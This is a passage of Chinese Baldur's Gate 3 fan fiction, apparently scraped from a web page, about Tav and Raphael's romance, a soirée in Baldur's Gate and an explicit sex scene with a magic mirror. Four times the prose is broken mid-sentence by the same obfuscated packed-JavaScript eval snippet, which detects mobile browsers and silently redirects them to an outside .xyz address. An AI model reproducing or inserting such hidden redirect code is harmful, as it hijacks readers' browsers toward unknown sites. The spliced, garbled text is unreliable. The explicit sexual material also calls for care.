她早上匆匆赶回去,正遇上影心离开,打招呼的时候不免有些尴尬。 不过影心的反应是——没有什么特别的反应,就好像这再正常不过。 这让她莫名轻松很多。 …… 如此愉快地又过了三周,塔夫收到费伦最高奖学金的入围通知。 与厚厚的医学院预录取信相比,这次只有一页纸: 恭喜。 五周后某日,荣誉校友与巡回面试官——姓名暂保密——会亲自来博得安大学与最高奖候选人见面。 . “好消息!” 塔夫一见到拉斐尔就举起信。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你每次说得都很形象又简洁。”塔夫换了个更舒服的姿势。 “不过是拾人牙慧。” 见拉斐尔自谦起来,塔夫便笑着继续夸奖他,直到他突然吻住她,轻轻咬她嘴唇。塔夫被揽在他身前,伸手拢着他的下巴,又舔舔他的牙齿:“你说,我们关系的转折点是哪一刻。” 拉斐尔怔愣,接着陷入沉默和思索,目光仿佛看向未知的某一个点,过了好一会才重新望向她,却没有回答。 “我也有类似的感觉。”塔夫忍不住也跟着看向房间里的某个点,“大概是事情过去的还不够久,所以还无法确定它们的影响?”她重新望着拉斐尔,“不过如果现在一定要选择某个时刻的话,我会选择我们相遇的那一天。因为那是一切的起始,所有其他的点,都是从那一刻延申而出的。” 拉斐尔忽然再次吻住她。 这次是湿润的、充满欲望的吻。 塔夫和拉斐尔又做了一次,感觉格外好。重新躺在床上,她胸口再次感到那种强烈的悸动,而且始终持续,毫无消退的迹象,几乎令她有几分恐惧。她无法形容那是什么,但知道并不是刚才高潮的余韵。 她便问拉斐尔:“很汹涌,但又好像很平静。” 拉斐尔回答说:“我爱你,塔夫。” . 108.知道 她爱拉斐尔。 吗。 塔夫飞快弯了下唇:“原来那种感觉就是爱?” 她看到拉斐尔眼神有些闪烁,连忙伸手抱住他,头埋在他胸口: “我也爱你,拉斐尔。” 她听到他的心跳,一下,一下,飞快而又响亮。 她忽然感到很难过,不知道原因,轻轻又说一遍:“我也爱你,拉斐尔。” 拉斐尔的回答和她同样轻飘飘的:“我知道。” . 那之后塔夫要求回宿舍,随便找了个一眼就是借口的理由。 拉斐尔没有挽留,起身冲澡送她回去。塔夫莫名觉得,哪怕她没有任何理由,拉斐尔今晚也不会想要她留下。 也许不仅仅是今晚。 然而回去的路上,拉斐尔却语气平静地邀请她两周后去一场酒会,在博德之门:“对公众开放,更像是庆典的一部分。最高奖的‘保密’面试官极有可能也会出现,可以提前见面熟悉一下。” 塔夫心情始终紧绷着,此时突然焦虑得话多起来:“我需要做什么准备?自我介绍?专业成绩?为什么奖学金委员会应该考虑我?或者他们可能喜欢什么类型的笑话?” “不。”拉斐尔轻笑一声,又很快恢复平静,“你只需要出现在那个场合就足够了。” 塔夫思索片刻便理解了拉斐尔的意思,不外乎是资源或地位社交。可这样一来,会不会意味着…… 拉斐尔像是能听到她的想法,补充道:“最高奖的评选标准是基于成就,包括未来可能取得的成就,而不是基于候选人的经济需要。” 塔夫心情复杂,想要表现得感激或松一口气,精神却更加紧绷。 如果拉斐尔连她的这种想法都能很容易地推测到,刚才又怎么会看不出她的犹豫,但他却仿佛什么都没有发生。 他总是能够这么平静。 她忽然停住:“我下周就先不去你那里了。” 拉斐尔闻言明显一怔。 塔夫垂下眼睛:“因为……”她抿抿唇,抬眼重新看向拉斐尔,“下周是我的经期。” 拉斐尔嘴唇一下拉成一条直线,不可置信地瞪着她。塔夫没有继续解释,默默地几乎是精细地观察他——呼吸明显变得急促起来,鼻翼翕动,死死咬住后牙,但脸上的肌肉还是无法控制地颤抖。 他身子也跟着颤抖起来,双手紧紧捏成拳头,眼睛慢慢泛红。 他会在她鼻子上打一拳吗? 好可怕。 塔夫打了个寒战。 拉斐尔一僵。 “我知道了。”他最后只说这一句,就猛地转身离开。 如果他手边有门的话,一定会狠狠摔上门。 塔夫盯着拉斐尔背影想。 强烈的感觉又出现了。她重新感到难过,却也带着一种几乎是痛快甚至病态的愉悦。 她大概真的有什么毛病?故意说那种伤人的话。而这一切只是因为拉斐尔说他爱她,想要帮她,想要和她住在一起。 她为什么要这样回应他。 她真是够可怕的。 拉斐尔忽然扭过头,塔夫猝不及防与他视线相汇。下一瞬,他已经回身冲向她。 塔夫心底升起一股极大的恐惧。她觉得自己应该是想要逃跑的,最好一直跑回宿舍。如果她能躲在里面,拉斐尔绝对不会踏入大门一步。但她却只能站在这里,望着拉斐尔像猛禽一般扑回自己身前。 他眼睛仍然通红,眼角似乎有些湿润,气喘吁吁地瞪着她,胸口起伏: “塔夫……” 他用力咽了下,喉结明显上下一滑,说话时几乎有些吃力, “我爱你。 “你不需要回应我。 “我也许会失落,但我还是爱你。 “我不会放弃也不会抛下你,只要你愿意接受我。” 塔夫忽然感到一阵窒息,接着需要大口呼吸才能喘过气,很快变成每一次呼吸都从胸腔带出呼哧呼哧的响声。 拉斐尔伸手把她紧紧锢在怀里。塔夫发出一声更加响亮的呜咽,立刻把脸紧紧贴在拉斐尔胸膛上,手指用力地揪着他的衬衫。拉斐尔更用力地揽住她,手臂压住她肩膀安抚她的颤抖,手掌在她后背一下一下拍着。 塔夫被牢牢环抱着,却还是止不住地打颤:“对不起,拉斐尔,对不起。” “没关系。是我让你感到不安了。” “对不起……我也不知道为什么……” “没关系。你只是感到害怕了。” “对不起……我刚才不想说那种话的……” “我知道。” …… 塔夫慢慢平静下来,在拉斐尔衬衫上蹭干净眼泪,重新站直后仍有些难为情,垂着眼睛一直不去看他。 拉斐尔忽然轻笑一声,低声道:“我知道。”听上去似乎十分低落,同时充满自嘲。 塔夫终于还是忍不住望向他,心里不由得重新忐忑。因为直到最后,她仍没有回应拉斐尔的那句“我爱你”。 “哪怕你不说,我也知道。” 拉斐尔见她望向自己,脸上低落消失,慢慢露出一种自信的得意神色,语气笃定道, “你爱我。” 塔夫一怔,立刻又好气又好笑,还差点重新涌出眼泪,狠狠拽过他衬衫袖子擦了擦鼻子。 拉斐尔笑着重新抱住她:“而你其实也知道。”说着手臂用力在她背上抹了一下。 “恶!”塔夫立刻抱怨。 “哦?倒是你先表示不满?这可都是你刚才蹭到我袖子上的。” “我刚才的意思是……你那句可真够肉麻的……” “那我就再加一句,我知道你知道你爱我,而你知道我知道你知道你爱我。” 塔夫被他那一大堆知道绕得晕头转向,小声嘀咕:“好好好,我知道,你也知道,我们都知道。” 拉斐尔笑得很畅快也很大声。塔夫不得不要他稍稍放低声音:“嘘!” …… 最后,塔夫还是决定今晚回宿舍,拉斐尔送她到塔楼下。 “谢谢你。”塔夫再次向拉斐尔道别,“我……明天去找你。晚安。” 拉斐尔俯身重新吻吻她:“晚安。” . 于是同居之外,塔夫又多一项犹豫。 可是拉斐尔态度十分肯定,这让她忍不住怀疑起来,就算犹豫真的意味着自己没有准备好,没有准备好又是否一定意味着一个否定答案。 她没有做好同居的准备,所以不与拉斐尔同居。 她不确定自己是否爱拉斐尔,所以她便不爱吗? 可如果她爱拉斐尔的话,又为什么犹豫与他住在一起。 爱到底是什么。 她爱母亲、姐姐、明斯克和小布,她也习惯对影心和说爱你,可她为什么不能对拉斐尔说她爱他? 塔夫想起从卡菈克嘴里讲出的小布的“大道理”:喜欢是因为,爱是尽管。 她可以很容易找出很多条喜欢拉斐尔的理由,一时间却找不出一条尽管来。 拉斐尔对她的尽管又会是什么?尽管她不确定她是否爱他? 这听上去简直像是个九狱笑话。 …… 不过拉斐尔似乎把这件事放在一旁,没有再提起。 但塔夫越来越经常发现他有时会突然顿哑一下,仿佛是在无声地说他爱她,又怀疑这只是自己的臆想。 …… 两周后,博德之门。 塔夫和拉斐尔这次出行简单很多。二人当天启程,第二天一早返回。因为只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699523|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一晚,便住在拉斐尔家在博德之门上城区的宅邸里。他这次也没有为她准备裙子首饰,塔夫自己稍稍打扮,觉得更自在,更像是去参加庆典游玩,时间越临近反而越轻松起来。 不过出发前倒是有件事值得一提。 一次温存后相拥聊天,拉斐尔如往常一样抚摸着她的头发,忽然说:“酒会那晚,哈勒普也会在博德之门。” 那时塔夫仍对这次酒会有些紧张——尽管拉斐尔说过只是见一见面试官,甚至不需要提及费伦最高奖。 于是她望向拉斐尔,专心等待下文。 “我们那次说到的三个人……”拉斐尔却顿住了。 塔夫试着替他补充完整:“三位面试官,哈勒普都认识?” “不。是的。不。” “?” “不出意外面试官都会到场,哈勒普也的确能认出他们。”拉斐尔清了清嗓子,“不过我刚才想说的是,我们上次提到的三个人……开放式关系……哈勒普变成……” “咳咳咳!什么?”塔夫吃惊地望向拉斐尔。 他模样很是窘迫,移开视线。 塔夫恍然,又忍不住笑起来:“你改变主意了?你当时可是说绝对不会呢。” “我并没有改变主意。”拉斐尔脸更红了。 “哦对,哈勒普不是女朋友。”塔夫点头会意。 “性别不是关键!他也可以变成女性的样子。” 塔夫更正自己:“关键是你也对三个人做感兴趣。所以你想要哈勒普变成我吗?” “我没兴趣!!” 塔夫彻底糊涂了。 拉斐尔深深吸了一口气:“如果你想要试试看三人的话,博德之门那天晚上,时间可行,环境更私密也更方便。” “哈勒普他同意了?” “他应该会很乐意重操旧业。” 塔夫觉得这话信息量有点多,不过还是先问拉斐尔更重要的:“可是你刚才说,‘没兴趣’?” 拉斐尔怔了下:“这并不重要。” “所以你其实并不喜欢、也不想三个人做?” “但我可以……” “不!”塔夫高声打断他,“不想就是不想。”拉斐尔似乎要说什么,塔夫已经飞快推测起来,“难道这都是因为,我想要?因为我那次说觉得有意思?” 事情的发展走向和塔夫的反应都与预想中不同,拉斐尔看上去有些挫败: “我也想。我想要和你一起做你喜欢的事情,塔夫!” “可我不想让你做你不喜欢的事!” 塔夫话说出口便冒出一个有些阴暗的念头。她已经很久没有这样揣测过拉斐尔的意图,此时却忍不住猜:他这是在给她施加压力吗?他能够为她做出牺牲尝试三人,可她仍然连一句“我爱你”都不愿意说。 拉斐尔怔忡片刻,忽然抱住她:“你说得对。” 塔夫反而一下愣住了。 拉斐尔轻笑着吻她的头发:“我不喜欢这个提议。”他抱紧她,语气十分庆幸,“我很高兴你并没有接受。” 塔夫忍不住好笑:“你这样一说,我倒觉得错过一个好机会,有点后悔了呢。” “哪怕你接受了,我也会说服你这是个糟糕的主意。”拉斐尔似乎想要证明他一人便足够,睡觉前又做一次的时候非常卖力。 . 而现在,再次来到博德之门,塔夫在酒会见到哈勒普时不由望向拉斐尔,冲他挑了挑眉毛: “我还来得及改变主意吗?” 拉斐尔贴在她耳边:“很可惜。今晚我们已经另有安排。” 不等塔夫细问,拉斐尔已经直起身,又邀她一起加入哈勒普,向她介绍对方身旁那位高大威严的半精灵长者: “索姆将军。” . 109.共浴 索姆将军面容严峻,不苟言笑。 塔夫想起拉斐尔曾介绍将军手段强硬,更加觉得对方连眉间的皱纹都充满压迫感。 不过在提到自己来自东部农场、靠近某小镇后,索姆将军表情柔和一些,又询问她是否听说过两个人,形容起来正是将军私奔离家的女儿伊索贝尔与艾琳女士。 塔夫不由得望向拉斐尔,他几不可察地点了下头。 索姆将军已经说:“我知道她们曾住在附近。” 塔夫犹豫片刻,还是告诉将军自己与伊索贝尔的几次打交道,包括去年夏天的见面,省去细枝末节与拉斐尔在场,想了想最后又补充:“艾琳女士很在意伊索贝尔的安全,她们在一起很幸福的样子。” 索姆将军轻哼一声,这次闲谈便结束了。 将军离开后,塔夫忍不住担心问拉斐尔:“我刚才是不是说得太多了。” “做你自己就好。”拉斐尔微笑,“将军并不是博得安大学荣誉校友。” 塔夫叹了口气。 虽说庆典是向公众开放,她与拉斐尔进入这个室内酒会时也没有受到任何盘问阻拦,但地点本身就位于上城区,定是靠拉斐尔才能如此顺利。 至于她能够给对方留下什么印象,最主要的恐怕始终是——介绍她的人是拉斐尔。 仿佛能看到她的思索,拉斐尔接下来却要同几位贵族会面,与她确认一人是否没问题。 塔夫反而松一口气,目送拉斐尔和哈勒普离开。后来又陆续瞥见几人在同一处门后消失,除了索姆将军,居然还有位很像是最近在报纸上见过的戈塔什。 那身影一晃而过,塔夫觉得更像是自己眼花,继续与面前的白色龙裔攀谈: “是的,我这个冬天在安姆亲自参加了寰宇巨蛇的祭典。” 这位名叫邪念的古生物学家向她追问更多细节,但比起对传统庆祝活动感兴趣,他听上去更像是想要亲手解剖这种传说中的巨蟒。 于是塔夫很快结束了二人的对话。 . 酒会的主题之一是促进费伦不同地区间的学术项目交流,塔夫作为博得安大学学生的身份再适合这里不过。 她见到不少在自己领域有所成就的学者,甚至还有一位教科书上的人物。最后的一点紧张被兴奋取代,塔夫恨不得和每个人都聊上一聊,并与一位名叫内蒂的医生相谈甚欢,说着说着又发现她们都认识同一个人——哈尔辛。 “他父亲曾帮助过我很多。”内蒂感慨世界如此之小。 话题转向私人生活,塔夫提起自己已经被医学院预录取,内蒂居然直接邀请她这个暑假来身边做影子医生,也许还兼任实习助手的工作:“如果你感兴趣的话。” 塔夫惊喜:“当然!” “你可以等等再决定。”内蒂反而道,“我是家庭医生,主要面对低收入社区,大多数时候会在博德之门下城和外城区问诊,不算安全。既然你能够被博德之门医学院录取,收到大医院的实习邀请也不会困难。” 塔夫反而更确定了:“我未来想做旅行医生!” 内蒂惊讶地瞧了她一眼:“既然如此,你可以寄信给这个地址同我联系。”她把地址递给塔夫后又笑着说,“如果不小心丢掉了,可以问哈尔辛。” …… 酒会上,除了和蔼可亲的内蒂医师,有些“古怪”的邪念,自然也有目无下尘、态度倨傲的学究,不过每位与会者都对自己的领域充满无法掩饰的热忱,在发现塔夫抱有真诚的好奇后,大部分都愿意和她聊聊。 塔夫也深受感染,到与拉斐尔一起走下马车,仍在向他描述今晚见到的一位位学者,最后又一次说: “谢谢你邀请我去酒会,所以我才有机会遇到内蒂,才能够得到这份实习!” “这完全是你自己争取到的。”虽然拉斐尔之前对安全提出些担忧,此时还是忍不住一脸骄傲地看着她。 塔夫情不自禁地侧身抱住他,又踮起脚亲吻他。 尽管这早就不是她第一次主动,拉斐尔仍怔了怔,立刻紧紧搂住她回吻,后来干脆直接将她抱起,一路亲吻着走入大门迈上长长的台阶又推开一扇房间门。直到关上门他才放下塔夫,却仍继续吻她,手也沿她腰部曲线贴向臀后,慢慢提起她裙子下摆。 “先去洗澡。”塔夫气喘吁吁地推他肩膀。 拉斐尔微微退开些,呼吸也已经急促起来:“我们一起。” . 塔夫终于有机会观察拉斐尔的房间。 这里更像是她想象中的“魔鬼贵族”的卧室。十分宽敞。 深红色的厚重地毯铺满地板,用暗金色的细线编织成如同迷宫一样的图案。大理石镶板撑起足有三层楼高的屋顶,天花板上悬挂着造型复杂的黑铁吊灯。高耸的拱形窗户,上面用彩色玻璃拼出传说故事。 房间里一张巨大的四柱床,床柱雕刻着繁复的藤蔓图案。 天鹅绒床幔和丝绸床单都是奢华的红黑两色,刺绣反着金色的光。 其他家具也都是厚重的颜色,引人注意的除了一座高大的石制壁炉,房间一角还有一个可以容纳至少十数人的椭圆形石制浴池。 池边几个金色龙头都融制成蛇首形状,有的裂开嘴从蛇吻中涌出温热水流,有的只是吐着蛇信子,每每一个都栩栩如生。 浴池靠墙一侧是淋浴区,另一侧则是更衣区,叠挂着柔软的毛巾、黑色丝绸浴袍。 那里还有一面如同艺术品般的高大全身镜,乌木边框雕刻成一条盘绕的蜿蜒巨蟒,蛇眼由小巧的红宝石镶嵌,镜面雾气朦胧,仿佛有水银流动。 . 塔夫刚惊叹出声,拉斐尔已经重新抱起她——这次是横抱——径直走向浴池。 她很快被蒸腾的湿润热气包裹,鼻腔里是樱桃、麝香、以及淡淡的硫磺的味道。 …… 褪去衣物,塔夫先拉斐尔没入水中,忍不住闭上眼睛,坐靠在池壁,仰头长长叹出一口气: “好暖和!好舒服!” 听到水响再睁开眼睛,拉斐尔已经站在她身旁,双眼在一片水雾中湿润而又明亮。 旅行时,塔夫和拉斐尔试过一次在水里做。因为水流冲去身体的润滑,感觉反而艰涩。皮肤后来也被泡得发白起皱,稍稍一摩擦就泛红生疼。此时眼见拉斐尔似乎再次有跃跃欲试的念头,塔夫连忙说:“今天在外面很久,需要认真洗干净。”她又及时补充一句,“这次先自己洗,因为我们之后肯定还会一起再洗一次!” 拉斐尔伸手替她把贴在额头上的湿发捋到耳后,手指沿她耳朵边缘慢慢抚摸。 塔夫打了个小小的战栗,继续大发感慨:“在这里洗澡就是一种值得细细体会的享受呢!而且你的床看着也好舒服啊!我是说,香、香皂在哪、哪里?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711535|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>拉斐尔笑出声,又在她脸颊上摸摸这才收回手。他移到一处三头蛇的龙头,向塔夫展示按压不同的蛇首会流出不同的沐浴泡泡。 但塔夫一直在瞧着他赤裸的后背,肌肉线条流畅对称,充满蓄势待发的力量,正中一条漂亮的背沟,最末端在水中若隐若现。当然还有结实的手臂,肩膀,胸膛…… 拉斐尔不知道什么时候已经整个转过身,似笑非笑:“看得还满意吗?居然还没看够?” 塔夫比了个大拇指:“无论看多少次都不会厌!”她说着继续向下看,目光描摹过肌理分明的一块块腹肌,可惜再往下就看不到了。 “想要摸摸看吗?”拉斐尔笑意更明显。 塔夫却忽然生出很多尊严,皱皱鼻子一脸严肃地摇摇头,低下头开始装模做样地认真洗自己的胳膊。 拉斐尔压出满手泡泡,几步来到她身边,抹在她肩膀和手臂上。 塔夫立刻支使他:“我还需要洗头发的。别弄混了。” 拉斐尔终于笑着叹口气,拦腰半抱半搂地把她挪到三头蛇处:“你刚才可是说过,‘自己洗’。” 话虽如此,他还是帮塔夫擦洗了后背,又干脆替她洗起头发顺便按摩发根。他手指温热,力度不轻不重刚刚好。塔夫靠在他身前闭着眼睛哼哼,舒服地简直要睡过去。拉斐尔却轻轻拽下她头发:“别睡着了。” 塔夫:“!?” 拉斐尔这么积极主动地不想她睡。 他今晚安排了什么? 可惜他什么都不肯说。 于是塔夫先洗好后,自告奋勇地帮拉斐尔,并如愿以偿地好好摸了摸他的肌肉,而且不仅仅是后背。 事实上她后来完全是在捣乱,捧了满手泡泡前后乱涂乱画,在他胸口揉搓后,又抹上小腹和腰线。直到拉斐尔不得不捉住她的手没入水下,让她自己体会体会已经朝她挺起来的小拉斐尔: “如果你真的不想在这里做,洗好了就去擦干。” . 在水里玩得太久,塔夫走出温暖的浴池时身子有些沉,头发也又湿又重。但更衣区不知道用什么方法取暖,连毛巾都是热乎乎的,裹上毛巾的那一刻她就立刻再次精神起来。 很快擦干身子又披上浴袍,塔夫一边擦头发一边望向那面引人注意的镜子。 她开始以为镜面朦胧是因为隔着浴池的水气,此时在这侧看去,镜子里面仍然一片模糊。塔夫却反而被那模糊吸引,更加想要看清自己的倒影,越走越近,甚至连擦头发的浴巾都忘记放下。 忽然,她双眼被从身后捂住,又被拦腰搂着倒向拉斐尔怀中。 他还没有擦干,身上湿漉漉的,但比她手中的毛巾还要温暖。 塔夫后背倚靠在他结实的胸膛,朝他微微偏过头,仰起下巴。 拉斐尔却没有吻她,一手仍捂着她的眼睛,另一只手在她身前柔软慢慢打转,嘴唇则贴着脖颈一点一点向上,舔咬她的耳朵。 塔夫眼睛无法视物,感官更加敏锐,觉得一阵阵酥麻沿着脊柱层层叠叠向下,小腹迅速涌起一股热流。她身子酸软,心里焦灼,为自己这次如此敏感隐隐升起不安,却忍不住呻吟出声:“拉斐尔……” 拉斐尔像是极为享受她的反应,在她耳旁轻笑一声说:“别这么心急。” 腰间的手忽然抽离,塔夫眼前一凉,被覆上一条黑色的丝绸缎带。 . 110.魔鬼 拉斐尔极尽耐心。 他仔细调整确认缎带,又拢起塔夫长发,这才微微抬起她下巴,俯身吻住她。手指慢慢滑进她身前丝绸柔软,熟练地揉抚捏按,激起一团团涟漪,却总是避开最中心的部位。塔夫越发心焦,努力专心亲吻拉斐尔,舌头探进他口中,一次次用舌尖挑逗他。然而无论二人的亲吻多么充满激情令人兴奋,都只能让她感到更加不满足。 塔夫终于忍不住向后弓了弓身子,但这却让拉斐尔的抚摸停了下来。他手掌有些重的压在她小腹上,在她耳边说出魔鬼的低语:“等待不仅仅只会让美酒变得醇厚,塔夫。”他轻笑,声音仿佛最醇厚的美酒,“这可是你对我说过的,大道理。” 去你的大道理! 塔夫像是忽然想起自己手里还抓着毛巾,一把松开又立刻探向身后,却被拉斐尔握住手腕。她手指徒劳地向前张开:“你到底在玩什么游戏?。” 拉斐尔轻轻叹了口气:“你今晚还真是一点都不能等呢。” 塔夫听到他声音里似乎多了一分无奈,又放软声音撒娇:“我手被捏得好疼……” 于是拉斐尔松开手,低头再次吻住她唇瓣,手指也重新开始缓缓打转。塔夫双手一得到自由立刻又尝试一次,结果反而变成双臂被从手肘处牢牢禁锢。拉斐尔仍不紧不慢,偶尔多一次挑拨挤压,或者用指甲轻轻刮蹭。塔夫挣扎数次无果,喘息带上了呜咽:“……好难受……” 拉斐尔一下顿住。 塔夫声音几乎变成恳求:“……拉斐尔……” 拉斐尔又轻轻叹了一口气,手慢慢搂在她腰间。 塔夫终于得到想要的,舒服地长长叹息一声,不等拉斐尔反应便自给自足起来,几次眼前就看到一片白光。然而那道光在余韵结束后并没有消失。 绸缎解开落在浴巾上,塔夫眼前泛起银色的波纹。 她从其中看到自己,双颊潮红,一脸餍足,还有…… 魔鬼拉斐尔。 他慢慢露出一个几乎有些狡猾的微笑。 塔夫猛地转过头,事实上是整个上身都扭了过去。拉斐尔手一下捏紧又松开,轻轻喘了一声。但他仍是那个拉斐尔,呼吸略微急促,但笑容却是得意,朝镜子抬了抬下巴: “魔鬼的我,和人类的我。” 塔夫重新看向面前,这次从那双竖起的金色兽瞳中看到同样的深情,忍不住又叹息一声:“啊……” 她像是被诱惑了,手不由自主地伸向镜子。镜面居然是流动的,还有温度和回弹,那感觉仿佛握住自己的手,得到自己的支撑。 拉斐尔抱住她重新动作起来。虽然只是镜像,塔夫却觉得自己被分成两个,一个自己望着镜子中的自己,镜子中的自己却也回望真实的自己。然而她又能同时体会到两个自己的全部感受,同时看到两个自己近乎迷醉的神情。 塔夫没办法再瞧自己,抬眼望向拉斐尔。他始终望着她,表情既快乐又痛苦,嘴唇微微颤抖,像是在无声地说着什么。 她知道。 他在说他爱她。 那令她恐惧的强烈悸动突然再次出现,仿佛一只手紧紧捏住她的心脏,想要看看她心里到底能不能、又能挤出多少情感。塔夫只能闭上眼睛。她感到自己被困在一处礁石上,浪潮温柔却又蕴含着可怕的力量,耐心地、□□地、永无止尽地向她推来。海浪没过小腿,漫过腰,又升向肩膀,很快就会将她彻底淹没。 可她无处可躲,忍不住喘泣起来。 她听到带着沙哑的磁性声音:“塔夫,请看着我。” 塔夫睁开眼睛重新望向拉斐尔。他脸上也湿漉漉的,汗水或者是没有擦干的头发滴下水,从额头贴着皮肤滑下。他眨了下眼睛,仿佛落下一滴眼泪,又好像是,他和她同是溺水的人。 恐惧忽然退去了,塔夫向前纵身一跃,让自己消失在绝顶的洪流中。 然而她并没有消失。她成为了那片大海本身,原来波涛汹涌之下却是幽深的平静。在很深很深的地方,她看到一道潜行的暖流分开大海,向上翻涌,卷起海面之上的滔天巨浪。 塔夫眼睛一眨不眨地望着面前的他,伸出手:“拉斐尔……” 拉斐尔却像是感到恐惧一般,捂住她的眼睛。 “……我爱你。” 回应她的是重重的吸气紧跟着一声闷哼。 塔夫感受着拉斐尔的颤抖,汹涌而平静的情意漫向全身,但那已经不再令她感到恐惧,反而是无比的满足。暖流从大海中退去,发出“啵”的一声,心理的满足和身体的不满□□汇相溶,塔夫下意识地跟着叹了口气,拉斐尔向后退了半步。 塔夫再次能够视物,眼前镜子已经重又变得朦胧,如同流动的水雾。她转过身。拉斐尔垂着眼,睫毛和手臂都在颤抖,试图重新令自己抬头却始终无法做到。他更用力更快,小臂和手背都突起青筋,额头渗出汗水。塔夫覆上他的手,又捧住他的脸,亲吻他:“我爱你,拉斐尔。” 拉斐尔低低喘出一声,紧紧回搂住她:“塔夫,my love。”他朝塔夫重新挺立起来, “我爱你,塔夫。” . 他们接下来很顺利。 在床上相互拥抱着,享受温柔,纯粹,又如海浪一般汹涌的爱意。 最后一次塔夫和拉斐尔是一起到的。她的意识又一次消失,甚至连时间本身也消失了。拉斐尔在她身边,沉浸在同一片无意识的宁静中。恢复意识后,她紧紧依偎在拉斐尔怀里,他也紧紧搂着她。然而在似乎没有尽头的沉默中,她有一瞬忽然觉得他可能不在那里。 “我爱你。”她蜷缩在他身前,低声问,“你还爱我吗?” “我爱你,塔夫。”拉斐尔更用力地抱紧她,“我会一直爱你。” 塔夫满意地重新合上眼睛。 . 第二天塔夫醒得很早。 因为窗户上的彩绘玻璃,她无法判断时间。拉斐尔仍在熟睡,柔软的头发向上翘着,浓密的睫毛在眼底投下一小片阴影。 塔夫在他高挺的鼻梁上轻轻吻了下,闻到淡淡的龙舌兰香,又察觉到自己身上粘腻,干脆轻手轻脚爬下床。石质浴池的水温仍然舒适,她身子没入水中,靠在池边想了想,憋一口气,向前滑坐把自己整个沉了下去。 她躺倒在浴池底部,身下是温热略粗糙的大理石,耳边能听到极轻微的水流声。她试着睁开眼睛,隔着水面,这才发现穹顶上装饰着奇异的图案,似乎是一副星象图。 等她头探出水面再向上看时,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725849|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图案却消失了。 这带给她奇特的乐趣,一遍遍没入水中,直到又一次刚刚躺下时,听到拉斐尔有些沙哑的声音:“塔夫?” “我……”她话出口才发现不妙,呛了一口水,手忙脚乱撑起身,拉斐尔已经几步来到她身边。 “咳咳咳!”塔夫手撑在拉斐尔胳膊上,不免有些好笑,又解释又询问一番,才知道头上是浴池的魔法符文。 昨天晚上的那面全身镜自然也是魔法物品,能够显示出“真实”。不过浴池的符文与宅邸的魔法阵相连就可以自动运转,而真实之镜还需要由拉斐尔维持,蒙住她眼睛的时候就是在操控镜子。 “听上去就很困难。特别是你还要一边……”塔夫一下顿住。拉斐尔问她离开前还想不想再试一次。她脸本就因为水温蒸得有些红,此时更加滚烫,“可能普通的镜子也不想了。” 拉斐尔的惊讶表情里明显带着几分沮丧。 塔夫连忙解释:“昨天我很喜欢,但是好像有些太过刺激受不了……”见拉斐尔脖子也慢慢泛红,她反而不那么羞赧了, “而且对我来说,从后面的乐趣其实很多在于看不到表情。你看不见我,我还可以随便把头埋在枕头里,不用担心自己会不会哭得很难看。 “我看不见你,唔,这的确有些遗憾……” 塔夫又一次顿住。拉斐尔便借机一再表示他很喜欢她的表情,哪怕是哭的时候也非常可爱。塔夫却露出若有所思的笑容:“昨天的绸带其实是浴袍的腰带吧。我们可以带一条回去吗?” 拉斐尔怔忡,抱起她来到三头蛇旁又放下:“先洗澡。我们很快就要出发了。” “差点忘记了。”塔夫点点头,“这也提醒了我,你有领带。” 拉斐尔手一抖,压了满浴池泡泡。 . 吃过早餐,登上马车驶离宅邸大门,塔夫忍不住回过头,再次望向那座更像是城堡的房子。因为排列和角度,一扇扇高耸的窗户像是在对她怒目而视。直到拐过街角无法再看到一砖一瓦,塔夫才彻底松一口气。 还好始终没有见到梅菲斯特。 这念头让她心情变得有些沉重起来,马车途经庆典和酒会场地时,忽然想起一事: “我昨晚似乎见到了戈塔什。” 拉斐尔点点头:“他昨晚的确在。” “你和他见面了?” “是的。”拉斐尔没有细说,不过他准备给戈塔什一个“小小的惊喜”。 塔夫沉默片刻:“你这样做,是因为……我和卡菈克吗?” 她的反应令拉斐尔十分意外,又一下升起无名恼火。 昨晚酒会上便是如此,还有之前提起试试三人,开学前的同居提议,以及更久之前的农业合作政策。每当他以为和塔夫关系如此亲密,可以更近一步时,都能感到她的反抗——她不希望“她的生活”受到太多他的影响,也不希望她的喜好和立场影响他的决定。 可他们是伴侣,现在更是爱人,又怎么能分得那样清楚? 但拉斐尔没办法这样说出口,他敏锐地察觉,如果在这个时候,用这种方式说出来只会把塔夫推远。 他抿抿唇,最后还是道: 